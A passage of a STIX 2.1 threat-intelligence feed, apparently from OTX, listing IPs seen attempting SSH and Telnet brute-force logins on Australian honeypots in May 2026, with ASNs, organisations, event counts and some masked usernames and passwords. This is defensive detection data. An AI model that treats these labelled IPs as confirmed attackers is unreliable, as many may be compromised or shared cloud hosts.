      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.185.120.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T13:15:11.000Z",
      "valid_until": "2026-06-15T13:15:08.000Z"
    },
    {
      "created": "2026-05-14T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--914050d5-7b29-4efa-bd10-1fa972448000",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.222.253.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T13:15:11.000Z",
      "valid_until": "2026-06-15T13:15:08.000Z"
    },
    {
      "created": "2026-05-14T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC.",
      "id": "indicator--516fd245-371c-44ba-bc73-d7e91e0a0d94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.116.225.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T13:15:11.000Z",
      "valid_until": "2026-06-15T13:15:08.000Z"
    },
    {
      "created": "2026-05-14T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--bf563963-d768-4409-8f14-f55b34b36b4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.42.92.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T13:15:11.000Z",
      "valid_until": "2026-06-15T13:15:08.000Z"
    },
    {
      "created": "2026-05-14T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 215. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 19871. Organisation(s): Network Solutions, LLC. Usernames observed (masked): r**t, e***n, 3**********4, ***, e******h. Passwords observed (masked): ***, l******3, ***, 1*******c, 1********C.",
      "id": "indicator--c1be4f9e-3086-4faa-8bee-59ea708ff1f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.172.190.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T13:15:11.000Z",
      "valid_until": "2026-06-15T13:15:08.000Z"
    },
    {
      "created": "2026-05-14T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--f45efe4e-fc33-4962-9d85-09481c89dcf6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.73.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T13:15:11.000Z",
      "valid_until": "2026-06-15T13:15:08.000Z"
    },
    {
      "created": "2026-05-14T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--0ec78476-7e9c-4ece-aef3-105acd472ef2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.247.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T13:15:11.000Z",
      "valid_until": "2026-06-15T13:15:08.000Z"
    },
    {
      "created": "2026-05-14T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 179. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS. Usernames observed (masked): r**t, a***n, c*****r, ***, d****f. Passwords observed (masked): 1****6, a***n, p******d, 1********0, 1******x.",
      "id": "indicator--e6245f3f-3055-43f5-a646-2e78c5f936ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.15.192.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T13:15:11.000Z",
      "valid_until": "2026-06-15T13:15:08.000Z"
    },
    {
      "created": "2026-05-14T13:15:11.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--36b88e9b-210b-4e54-8f9f-4d4ef76c626b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.227.161.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T13:15:11.000Z",
      "valid_until": "2026-06-15T13:15:08.000Z"
    },
    {
      "created": "2026-05-14T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--b978fa9f-02ef-481e-95c8-6e34544b8a38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.149.26.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T14:15:05.000Z",
      "valid_until": "2026-06-15T14:15:03.000Z"
    },
    {
      "created": "2026-05-14T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 136969. Organisation(s): KK Networks Pvt Ltd..",
      "id": "indicator--a43039f9-1ad3-4d57-9ba4-992dd32d82bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.73.101.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T14:15:05.000Z",
      "valid_until": "2026-06-15T14:15:03.000Z"
    },
    {
      "created": "2026-05-14T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 136969. Organisation(s): KK Networks Pvt Ltd..",
      "id": "indicator--dd8499c8-e9fb-42a6-946a-c8d950c313a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.73.101.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T14:15:05.000Z",
      "valid_until": "2026-06-15T14:15:03.000Z"
    },
    {
      "created": "2026-05-14T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 136969. Organisation(s): KK Networks Pvt Ltd..",
      "id": "indicator--5d2ab1c3-ec98-4e81-b486-7e5c655be26c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.73.101.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T14:15:05.000Z",
      "valid_until": "2026-06-15T14:15:03.000Z"
    },
    {
      "created": "2026-05-14T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 136969. Organisation(s): KK Networks Pvt Ltd..",
      "id": "indicator--2e3a11fe-d9a7-4cb2-8870-94228c66a996",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.73.101.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T14:15:05.000Z",
      "valid_until": "2026-06-15T14:15:03.000Z"
    },
    {
      "created": "2026-05-14T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--141e2abe-8c9a-4fe1-9921-ccff713d56d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '146.190.29.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T14:15:05.000Z",
      "valid_until": "2026-06-15T14:15:03.000Z"
    },
    {
      "created": "2026-05-14T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--95f495ca-06c8-4b2b-b96c-91f36d60da70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.114.168.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T14:15:05.000Z",
      "valid_until": "2026-06-15T14:15:03.000Z"
    },
    {
      "created": "2026-05-14T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 284. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 18206. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t, 3**********4, l***x, p*****i. Passwords observed (masked): 3***********4, 3**********4, l******3, !******G, 1****c.",
      "id": "indicator--0787960f-9fd3-482f-9d51-50221465c242",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.165.29.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T14:15:05.000Z",
      "valid_until": "2026-06-15T14:15:03.000Z"
    },
    {
      "created": "2026-05-14T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 214. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, a*******s, **, **. Passwords observed (masked): 1****6, l******3, 0**6, 1********C, 1*******@.",
      "id": "indicator--22848521-3fb9-4bef-ad44-fd2334b6a1dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.106.133.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T14:15:05.000Z",
      "valid_until": "2026-06-15T14:15:03.000Z"
    },
    {
      "created": "2026-05-14T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 284. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 396356. Organisation(s): Latitude.sh. Usernames observed (masked): r**t, 3**********4, l***x, p*****i. Passwords observed (masked): 3***********4, 3**********4, l******3, !******G, 1****c.",
      "id": "indicator--be254104-8f51-4d19-aa16-5ae96dff20d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.134.9.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T14:15:05.000Z",
      "valid_until": "2026-06-15T14:15:03.000Z"
    },
    {
      "created": "2026-05-14T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 5065. Organisation(s): Bunny Communications. Usernames observed (masked): r**t, 3**********4, l***x, u****u, a***n. Passwords observed (masked): 3***********4, 3**********4, l******3, 1******8, 1********b.",
      "id": "indicator--7d65ba50-b8a4-4666-b460-59ea19e65a0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.13.215.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T15:15:10.000Z",
      "valid_until": "2026-06-15T15:15:08.000Z"
    },
    {
      "created": "2026-05-14T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: ID. ASN(s): 151518. Organisation(s): SMK Negeri 22 Jakarta.",
      "id": "indicator--5925ceba-0c95-4fde-aed5-c9ab48dcea87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.236.140.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T15:15:10.000Z",
      "valid_until": "2026-06-15T15:15:08.000Z"
    },
    {
      "created": "2026-05-14T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--a34fd358-1463-449c-8352-94633abe13a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.170.207.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T15:15:10.000Z",
      "valid_until": "2026-06-15T15:15:08.000Z"
    },
    {
      "created": "2026-05-14T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--8dddd274-875e-43e5-8c35-12fb0947dd23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '132.148.131.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T15:15:10.000Z",
      "valid_until": "2026-06-15T15:15:08.000Z"
    },
    {
      "created": "2026-05-14T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 52308. Organisation(s): AGUAS DEL COLORADO SAPEM. Usernames observed (masked): r**t, 3**********4, l***x, ***, p*****i. Passwords observed (masked): 3***********4, 3**********4, l******3, 1******@, 2****d.",
      "id": "indicator--67e4bf49-9421-4356-9003-fe6e3fdc6933",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.108.60.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T15:15:10.000Z",
      "valid_until": "2026-06-15T15:15:08.000Z"
    },
    {
      "created": "2026-05-14T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 173. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VE. ASN(s): 11562. Organisation(s): Net Uno, C.A.. Usernames observed (masked): r**t, l***x, ***, 3**********4, p*****i. Passwords observed (masked): l******3, 1****c, 1**************V, 3***********4, 3**********4.",
      "id": "indicator--06fbbb93-acb3-4dd1-b067-2f2f8fa82f08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.6.32.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T15:15:10.000Z",
      "valid_until": "2026-06-15T15:15:08.000Z"
    },
    {
      "created": "2026-05-14T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--6f775e24-0f5b-4c17-913d-25a6c653801f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.121.121.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T15:15:10.000Z",
      "valid_until": "2026-06-15T15:15:08.000Z"
    },
    {
      "created": "2026-05-14T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 16223. Organisation(s): Maxnet Telecom, Ltd.",
      "id": "indicator--3163a520-0b9f-4396-822e-7a8f749519d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.58.160.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T15:15:10.000Z",
      "valid_until": "2026-06-15T15:15:08.000Z"
    },
    {
      "created": "2026-05-14T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 16223. Organisation(s): Maxnet Telecom, Ltd.",
      "id": "indicator--ea817a1a-fa40-4f78-955c-1c1326b91a58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.58.98.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T15:15:10.000Z",
      "valid_until": "2026-06-15T15:15:08.000Z"
    },
    {
      "created": "2026-05-14T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 285. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 19318. Organisation(s): Interserver, Inc. Usernames observed (masked): r**t, 3**********4, l***x, ***, p*****i. Passwords observed (masked): 3***********4, 3**********4, l******3, 1**********6, 1******2.",
      "id": "indicator--c01d9068-3955-4482-abbc-ea57a635dbd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.168.222.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T15:15:10.000Z",
      "valid_until": "2026-06-15T15:15:08.000Z"
    },
    {
      "created": "2026-05-14T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GE. ASN(s): 16010. Organisation(s): Magticom Ltd..",
      "id": "indicator--1fac6a2f-1560-430c-9dbc-f443d916fef9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.211.150.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T15:15:10.000Z",
      "valid_until": "2026-06-15T15:15:08.000Z"
    },
    {
      "created": "2026-05-14T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: BW. ASN(s): 327776. Organisation(s): Stature-PTY-LTD.",
      "id": "indicator--f38372b9-cac1-4d55-945c-4e4e71ae0417",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.134.171.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T16:15:10.000Z",
      "valid_until": "2026-06-15T16:15:08.000Z"
    },
    {
      "created": "2026-05-14T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--c13c4358-80e8-45ba-8209-3e084f45f91b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T16:15:10.000Z",
      "valid_until": "2026-06-15T16:15:08.000Z"
    },
    {
      "created": "2026-05-14T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55470. Organisation(s): Cyfuture India Pvt. Ltd..",
      "id": "indicator--b7dd080c-cb10-4cfe-82ed-7e3c0d999e29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.118.189.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T16:15:10.000Z",
      "valid_until": "2026-06-15T16:15:08.000Z"
    },
    {
      "created": "2026-05-14T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 203273. Organisation(s): NetCrafters OU. Usernames observed (masked): a***n, r**t. Passwords observed (masked): !*****8, 1******, a*******|, o*********$, p**********#.",
      "id": "indicator--d19fe96d-2483-441b-a2fb-5708d6b5dd9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.253.55.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T16:15:10.000Z",
      "valid_until": "2026-06-15T16:15:08.000Z"
    },
    {
      "created": "2026-05-14T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MD. ASN(s): 50084. Organisation(s): S.A.Rapid Link S.R.L..",
      "id": "indicator--405bf84f-67cb-47f0-978f-5dcf856054d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.247.164.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T16:15:10.000Z",
      "valid_until": "2026-06-15T16:15:08.000Z"
    },
    {
      "created": "2026-05-14T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 62005. Organisation(s): BlueVPS OU.",
      "id": "indicator--69fddd6f-e55a-4961-8937-eb6f1c395530",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.59.218.8']",
      "pattern_type": "stix",
